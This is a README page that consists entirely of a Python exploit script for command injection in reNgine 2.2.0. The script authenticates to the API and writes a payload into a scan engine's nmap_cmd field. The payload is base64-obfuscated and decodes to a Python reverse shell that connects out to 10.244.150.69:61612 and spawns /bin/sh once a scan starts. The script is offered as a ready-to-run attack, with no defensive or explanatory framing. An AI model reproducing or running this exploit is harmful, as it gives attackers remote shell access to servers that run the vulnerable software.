README.md
Rendering markdown...
import requests
import argparse
import sys
# Payload
payload = (
'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0'
'KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAu'
'MjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihz'
'LmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4v'
'c2giKScg"|base64 --decode |/bin/sh'
)
def login(base_url, username, password):
"""Login to reNgine and retrieve session token."""
login_url = f"{base_url}/api/login/"
data = {"username": username, "password": password}
response = requests.post(login_url, json=data)
if response.status_code == 200:
print("[+] Login successful")
return response.cookies
else:
print("[-] Login failed")
print(response.text)
sys.exit()
def modify_scan_engine(base_url, cookies, scan_engine_id):
"""Modify the nmap_cmd parameter of a Scan Engine."""
url = f"{base_url}/api/scanengine/{scan_engine_id}/"
headers = {"Content-Type": "application/json"}
data = {"nmap_cmd": payload}
response = requests.patch(url, cookies=cookies, json=data, headers=headers)
if response.status_code == 200:
print("[+] Scan Engine modified successfully")
else:
print("[-] Failed to modify Scan Engine")
print(response.text)
sys.exit()
def main():
parser = argparse.ArgumentParser(description="reNgine 2.2.0 Command Injection Exploit")
parser.add_argument("--url", required=True, help="Base URL of the reNgine instance (e.g., http://rengine.example.com)")
parser.add_argument("--username", required=True, help="Username for authentication")
parser.add_argument("--password", required=True, help="Password for authentication")
parser.add_argument("--engine-id", required=True, type=int, help="ID of the Scan Engine to modify")
args = parser.parse_args()
base_url = args.url
username = args.username
password = args.password
scan_engine_id = args.engine_id
cookies = login(base_url, username, password)
modify_scan_engine(base_url, cookies, scan_engine_id)
print("[+] Payload injected. Start a scan using the modified Scan Engine.")
if __name__ == "__main__":
main()